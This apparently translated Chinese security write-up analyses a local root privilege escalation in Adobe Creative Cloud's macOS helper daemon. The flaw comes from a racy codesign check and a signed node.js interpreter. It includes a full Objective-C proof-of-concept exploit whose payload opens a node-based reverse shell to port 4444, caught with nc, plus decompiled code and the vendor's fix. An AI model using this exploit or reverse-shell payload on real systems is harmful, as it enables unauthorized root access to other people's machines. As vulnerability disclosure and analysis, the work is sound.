导语:漏洞概况 该漏洞是在macOS环境中发现,但目前推测此问题可能也会影响Windows版本。 在Adobe Creative Cloud安装时,会安装一个具有root权限的守护程序: /Library/PrivilegedHelperTools/com.adobe.acc.installer 该程序通过NSXPCConnect
漏洞概况
该漏洞是在macOS环境中发现,但目前推测此问题可能也会影响Windows版本。
在Adobe Creative Cloud安装时,会安装一个具有root权限的守护程序:
/Library/PrivilegedHelperTools/com.adobe.acc.installer
该程序通过NSXPCConnection远程对象接受XPC连接。在SMJobBlessHelper类中,有一个方法handleAction:withReply:,用于提供给非root进程。其中的消息都采用XML序列化。
举例来说,以下消息将会以root身份启动进程:
<?xml version="1.0" encoding="UTF-8"?> <action> <actionType>createProcess</actionType> <actionArgs><cmdArgs><cmdArg>--pipename=25D51488-9FD7-4A81-B815-5997A6EBAF25</cmdArg> </cmdArgs> <processPath>/Library/Application Support/Adobe/Adobe Desktop Common/ElevationManager/Adobe Installer</processPath> </actionArgs></action>
但是,在建立连接和创建进程之前,都会进行签名检查:
// SMJobBlessHelper - (char)listener:(id) shouldAcceptNewConnection:(id) char __cdecl -[SMJobBlessHelper listener:shouldAcceptNewConnection:](struct SMJobBlessHelper *self, SEL a2, id a3, id a4) { v4 = &__stack_chk_guard; v29 = __stack_chk_guard; if ( a4 ) { pid = objc_msgSend(a4, "processIdentifier"); v6 = new_log_target(); v7 = (void (__cdecl ***)(_DWORD, _DWORD, _DWORD))sub_3010((int)v6); (**v7)( v7, "Inside shouldAcceptNewConnection | Received new connection in SMJobBlessHelper from client with PID:%d", pid); __bzero(filename, 4096); __bzero(proc_name, 4096); if ( proc_pidpath((int)pid, filename, 0x1000u) ) { if ( (unsigned __int8)is_valid_adobe_binary((int)filename) ) { len = ::proc_name((int)pid, proc_name, 0x100u); int __stdcall sub_31C0(std::string *a1, int a2) { v39 = __stack_chk_guard; std::string::string(&v35, "<output><result>Fail</result></output>"); v34 = 0; v33 = 0; if ( (unsigned __int8)is_valid_adobe_binary(*(_DWORD *)(a2 + 20)) ) { v2 = new_log_target(); v3 = sub_3010((int)v2); (*(void (__cdecl **)(int, const char *, _DWORD, _DWORD))(*(_DWORD *)v3 + 8))( v3, "Inside ProcessLauncher::executeAction | LaunchingProcess at path %s with waitForFinish %d", *(_DWORD *)(a2 + 16), *(_BYTE *)(a2 + 24)); v4 = *(_BYTE *)(a2 + 24); v32 = 0; v5 = OOBEUtils::ProcessUtils::LaunchProcess((_DWORD *)(a2 + 16), a2 + 4, (int)&v34, v4, &v33, 0, (int)&v32, 0); v6 = new_log_target();
在OOBEUtils::CryptUtils::GetCANameChain中,仅仅是通过运行/usr/bin/codesign命令来验证调用方和新进程。
在这里,我们很容易发现存在竞态条件TOCTOU(Time-of-check-to-time-of-use)的问题。也就是说,在检查和使用期间,存在着一段空档期,而这段时间可能会被攻击者用来执行非法操作。
v4 = objc_msgSend("NSAutoreleasePool", "alloc"); v29 = objc_msgSend(v4, "init"); v5 = objc_msgSend("NSString", "stringWithUTF8String:", *(_DWORD *)this); v6 = objc_msgSend("NSFileManager", "defaultManager"); if ( (unsigned __int8)objc_msgSend(v6, "fileExistsAtPath:", v5) ) { v7 = objc_msgSend("NSFileManager", "defaultManager"); if ( (unsigned __int8)objc_msgSend(v7, "fileExistsAtPath:isDirectory:", CFSTR("/usr/bin/codesign"), &v33) ) { if ( !v33 ) { v8 = objc_msgSend("NSArray", "arrayWithObjects:", CFSTR("-dvv"), v5, 0); v9 = objc_msgSend("NSTask", "alloc"); v10 = objc_msgSend(v9, "init"); v28 = objc_msgSend(v10, "autorelease"); v11 = objc_msgSend("NSPipe", "pipe"); v12 = objc_msgSend(v11, "fileHandleForReading"); objc_msgSend(v28, "setLaunchPath:", CFSTR("/usr/bin/codesign")); objc_msgSend(v28, "setArguments:", v8); objc_msgSend(v28, "setStandardOutput:", v11); objc_msgSend(v28, "setStandardError:", v11); objc_msgSend(v28, "launch"); usleep_UNIX2003(10000); v13 = objc_msgSend(v12, "readDataToEndOfFile"); v14 = objc_msgSend("NSString", "alloc"); v15 = objc_msgSend(v14, "initWithData:encoding:", v13, 4); v16 = objc_msgSend(v15, "autorelease"); v17 = objc_msgSend("NSCharacterSet", "newlineCharacterSet"); v31 = objc_msgSend(v16, "componentsSeparatedByCharactersInSet:", v17); v36 = 0LL; v35 = 0LL; v32 = objc_msgSend(v31, "countByEnumeratingWithState:objects:count:", &v35, &v34, 16); if ( v32 )
漏洞分析
调用usleep(100000)是一个比较长的时间窗口,足以让攻击者在此期间对文件进行修改。而在macOS系统上,针对可执行文件的运行时修改操作并不困难。因此,我们只需要复制一个Adobe签名的二进制文件,就可以在创建进程后绕过检查,从而成功对其进行替换。
不仅仅是可执行文件,pid也可能会导致TOGTOU问题。详情请参考Ian Beer的文章(https://bugs.chromium.org/p/project-zero/issues/detail?id=1223)和Samuel Groß的文章(https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf)。攻击者完全可以通过使用包含POSIX_SPAWN_SETEXEC属性的execve或posix_spawn来有效执行攻击。
甚至,都可以不用这么麻烦。
它使用自定义字符串匹配,来解析codesign实用程序的输出,并且解析器看起来存在一定问题(未经过实际测试)。
目前,我已经发现适用于很多IPC调用方的DLDLD_INSERT_LIBRARIES存在验证绕过漏洞,攻击者只需要将Payload加载到可信的可执行文件即可。
包含有效签名的nodejs解释器
此外,还有一个包含有效代码签名的nodejs解释器。因此,攻击者只需要以JavaScript语言编写Payload即可。
包含众多签名的node.js在多个发行版本中存在,并且它们都有相同的开发人员团队ID。
来自Adobe Creative Cloud的文件如下:
~ codesign -dvvv “/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node” Executable=/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node Identifier=node Format=Mach-O thin (x86_64) CodeDirectory v=20200 size=238276 flags=0x0(none) hashes=7442+2 location=embedded Hash type=sha256 size=32 CandidateCDHash sha1=a0e41e295e0111c35cdf7dfcf0c73701b4b51896 CandidateCDHash sha256=7649dad279f0456838ba79bfebb01d909d5bf6e8 Hash choices=sha1,sha256 CDHash=7649dad279f0456838ba79bfebb01d909d5bf6e8 Signature size=8964 Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)
来自Adobe Brackets Editor的文件如下:
~ codesign -dvvv “/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node” Executable=/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node Identifier=Brackets-node Format=Mach-O thin (x86_64) CodeDirectory v=20200 size=240909 flags=0x0(none) hashes=7524+2 location=embedded Hash type=sha256 size=32 CandidateCDHash sha1=b4d944c41b1f3cf9bcd4ca085981ed71a5b7e7b6 CandidateCDHash sha256=51e1a917aad91d6045a4ba3357e7b527604c4aa5 Hash choices=sha1,sha256 CDHash=51e1a917aad91d6045a4ba3357e7b527604c4aa5 Signature size=8963 Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)
在这里,我们得到的一个经验就是,不要将脚本解释器作为特权边界,因为它们只是用于执行代码的。同时,node.js解释器也可以在Windows上使用。尽管我没有进行测试,但是我相信在Windows上的实现也比较容易。
漏洞利用及修复
下面是漏洞的利用方法。使用nc -lvvv 4444命令就可以获取到一个交互式的Root Shell。
// // main.m // XPCFun // // Created by CodeColorist on 06/12/2017. // Copyright © 2017 CodeColorist. All rights reserved. // #import <Foundation/Foundation.h> #import <xpc/xpc.h> #include <libproc.h> #define DUMMY @"/Library/PrivilegedHelperTools/com.adobe.acc.installer" @protocol SMJobBlessHelperProtocol - (void)handleAction:(id)arg1 withReply:(void (^)(NSString *))reply; - (void)getHelperToolVersion:(void (^)(NSString *))reply; @end #import <Cocoa/Cocoa.h> int main(int argc, const char * argv[]) { @autoreleasepool { // TOCTOU signature bypass NSString *executable = [[NSBundle mainBundle] executablePath]; NSFileManager *mgr = [NSFileManager defaultManager]; NSError *err = nil; [mgr removeItemAtPath:executable error:&err]; if (err) { NSLog(@"failed to remove file: %@", err); return -1; } [mgr copyItemAtPath:DUMMY toPath:executable error:&err]; if (err) { NSLog(@"failed to override self: %@", err); return -1; } // another easy way is to run a signed node.js, and use process.dlopen to inject evil dylib NSLog(@"ready"); dispatch_semaphore_t wait_for = dispatch_semaphore_create(0); // the local privilege escalation NSString *kXPCServiceName = @"com.adobe.acc.installer"; NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:kXPCServiceName options:NSXPCConnectionPrivileged]; conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)]; conn.invalidationHandler = ^{ NSLog(@"unknown error"); dispatch_semaphore_signal(wait_for); exit(-1); }; [conn resume]; // yet another signature bypass: use node.js NSString *xml = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?><action>" "<actionType>createProcess</actionType>" "<actionArgs><cmdArgs><cmdArg>-e</cmdArg>" "<cmdArg>c=new require('net').Socket();c.connect(4444,'127.0.0.1',()=>{s = require('child_process').spawn('/bin/sh',[]);c.write('!');c.pipe(s.stdin);s.stdout.pipe(c)})</cmdArg>" "</cmdArgs>" "<processPath>/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node</processPath>" "</actionArgs>" "</action>"; id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) { NSLog(@"error: %@", proxyError); }]; [remote handleAction:xml withReply:^(NSString *reply) { NSLog(@"reply: %@", reply); dispatch_semaphore_signal(wait_for); }]; dispatch_semaphore_wait(wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC)); [mgr removeItemAtPath:executable error:&err]; } return 0; }
请注意,不仅是这个XPC服务容易受到攻击,此外还有共享相同代码库的其他库(例如ElevationManager)也受到此问题影响。并且,这些库可以通过其他IPC机制(例如FIFO文件)来触发。
作为修复方案,Adobe删除了存在漏洞的Codesign检查程序,并且加强了其对于字符串的检查严格程度。